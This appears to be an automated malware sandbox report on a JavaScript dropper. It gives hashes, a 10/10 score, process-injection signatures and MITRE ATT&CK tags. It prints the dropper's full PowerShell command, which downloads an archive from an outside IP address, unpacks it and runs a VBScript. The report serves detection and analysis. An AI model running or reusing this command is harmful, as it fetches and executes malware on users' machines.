8550509a02f745f281a2a87c1f336b0fca32bd51c1074b281e5772e5c8a6ff60

Analysis

max time kernel
119s
max time network
123s
platform
windows7_x64
resource
win7-20231023-en
resource tags

arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
submitted
07-12-2023 07:36

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General

Target

fb3c7a8f-e0ee-474d-918c-a9df0bbfe45c.js
Size

7KB
MD5

b2195fa1ea604007f7a3664e0e49f591
SHA1

915985302f8fb7f37d07d22a8ec5cb5e8005fb47
SHA256

8550509a02f745f281a2a87c1f336b0fca32bd51c1074b281e5772e5c8a6ff60
SHA512

478d9dcd9391a2e224bd291325dde58883d197d4cec1d989a3f054363dc03e19075e174058db828fbfc668cb76e2cd2b73782bbad3cd6a582383a62d37a8b977
SSDEEP

96:xBdMQYYVlVS+RwbkiEi3gkFmRePXywbkOEi3ckFmRePXuUxBbLDIX3FU3i:qQYYXVS+R9SgbEPihScbEP+cBb+3FGi

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://23.145.120.49:249/js.jpg

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2928 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2928 powershell.exe

pid	process
2928	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2928	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

wscript.exe

description	pid	process	target process
PID 2868 wrote to memory of 2928	2868	wscript.exe	powershell.exe
PID 2868 wrote to memory of 2928	2868	wscript.exe	powershell.exe
PID 2868 wrote to memory of 2928	2868	wscript.exe	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\fb3c7a8f-e0ee-474d-918c-a9df0bbfe45c.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2868

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-BitsTransfer -Source 'http://23.145.120.49:249/js.jpg' -Destination 'C:\Users\Public\zip.zip'; Expand-Archive -Path 'C:\Users\Public\zip.zip' -DestinationPath 'C:\Users\Public\' -Force;Remove-Item C:\Users\Public\zip.zip; C:\Users\Public\brave.vbs
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2928

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/2928-4-0x000007FEF51A0000-0x000007FEF5B3D000-memory.dmp

Filesize
9.6MB

Download
memory/2928-5-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download
memory/2928-6-0x000000001B2B0000-0x000000001B592000-memory.dmp

Filesize
2.9MB

Download
memory/2928-10-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download
memory/2928-9-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download
memory/2928-8-0x0000000001ED0000-0x0000000001ED8000-memory.dmp

Filesize
32KB

Download
memory/2928-7-0x000007FEF51A0000-0x000007FEF5B3D000-memory.dmp

Filesize
9.6MB

Download
memory/2928-11-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download
memory/2928-12-0x000007FEF51A0000-0x000007FEF5B3D000-memory.dmp

Filesize
9.6MB

Download